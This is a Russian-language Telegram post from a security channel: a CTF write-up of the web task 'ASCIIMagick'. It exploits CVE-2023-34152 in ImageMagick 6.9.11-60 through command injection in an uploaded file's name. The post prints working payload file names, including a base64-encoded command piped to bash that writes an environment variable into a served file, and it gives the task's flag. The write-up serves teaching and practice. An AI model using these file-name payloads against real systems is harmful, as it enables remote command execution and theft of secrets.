TGViewer
InfoSec VK Hub InfoSec VK Hub @vk_security · 3.11K subscribers
Post #325 1.85K
Продолжаем серию технических разборов нашего CTF 🔹

На очереди — web-таск средней сложности ASCIIMagick, где пришлось превратить безобидный генератор ASCII-арта в инструмент для чтения флагов.

ASCIIMagick Writeup
category: web, points: 300
Загрузи картинку - получи ASCII-арт. Красиво! Загрузи правильную картинку - получи доступ к системе. Этот сервис переводит картинки, гифки и видео в ASCII-анимацию, как в старых терминалах и IRC-ботах :D
флаг находится в переменной окружения FLAG

При загрузке гифок и видео сервис переводит их в ASCII-анимацию, но при загрузке изображения отвечает ошибкой:
Failed to extract frames with ImageMagick 6.9.11-60. Falling back to display /app/static/sample_animation.txt

Из ошибки узнаём:
- Версию ImageMagick: 6.9.11-60
- Абсолютный путь: /app/static/sample_animation.txt

Поищем известные RCE/command injection уязвимости для ImageMagick 6.9 — одним из первых результатов находится CVE-2023-34152:
с опцией сборки — enable-pipes ImageMagick может выполнять команды из имени файла, начинающегося с |, через popen. В SanitizeString не экранируются ` и ", поэтому возможна command injection.

Удостоверимся, что
версия 6.9.11-60 уязвима:
https://security-tracker.debian.org/tracker/CVE-2023-34152
Исходный репорт об уязвимости:
https://github.com/ImageMagick/ImageMagick/issues/6339

Подтвердим что сервис уязвим - создадим файл с payload в имени и загрузим его:
touch '|"sleep 30".png'
После загрузки сервис «зависает» на 30 секунд при обработке пустого файла. Если изменить значение в sleep, время ответа меняется соответственно, что подтверждает исполнение payload.

Из описания таска знаем, что флаг хранится в переменной окружения FLAG. Напрямую stdout мы не видим, поэтому запишем значение в /app/static/sample_animation.txt:
Sh
/bin/bash -c "echo $FLAG > /app/static/sample_animation.txt"


Значит, для решения нужно:
1. Создать файл с целевым command injection в имени
2. Загрузить его
3. Получить флаг в перезаписанном /app/static/sample_animation.txt

Для удобства переведем payload в base64:
echo -n '/bin/bash -c "echo $FLAG > /app/static/sample_animation.txt"' | base64

L2Jpbi9iYXNoIC1jICJlY2hvICRGTEFHID4gL2FwcC9zdGF0aWMvc2FtcGxlX2FuaW1hdGlvbi50eHQi
Создадим файл с целевым payload в имени:
Sh
touch '|"echo L2Jpbi9iYXNoIC1jICJlY2hvICRGTEFHID4gL2FwcC9zdGF0aWMvc2FtcGxlX2FuaW1hdGlvbi50eHQi|base64 -d|bash".png'
Подгрузим файл и обновим страницу - сервис вернёт обновленное содержимое /app/static/sample_animation.txt:

vkctf{00e3ed98b6d9acd54b04334d26ad4b13}


 Впереди — новые таски и свежие разборы. Не переключайтесь! 🔹
  • ❤ 11
  • ✍ 6
  • 🔥 6
  • 👏 2
More from @vk_security
  1. Sep 18, 2026Ну что там с подкастом «Спасибо за репорт»? 👀 Есть новости. Даже несколько. Новый выпуск…
  2. Sep 17, 2026Петербург, снова к вам ⚡️⚡️ Год назад впервые привезли наш митап в северную столицу— говор…
  3. Sep 9, 2026⚡MAX теперь удобнее исследовать через Burp Suite Подготовили плагин для Burp Suite, которы…
  4. Aug 31, 2026⚡️Есть планы на 30 сентября? До ZeroNights остался месяц — хороший повод вспомнить, как эт…
  5. Aug 28, 2026Новый выпуск подкаста «Спасибо за репорт» уже в VK Видео! В выпуске обсудили: ⚡ зачем багх…
  6. Aug 27, 2026🎙 Уже завтра — новый выпуск подкаста «Спасибо за репорт» В гостях — freeman. Поговорим о…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →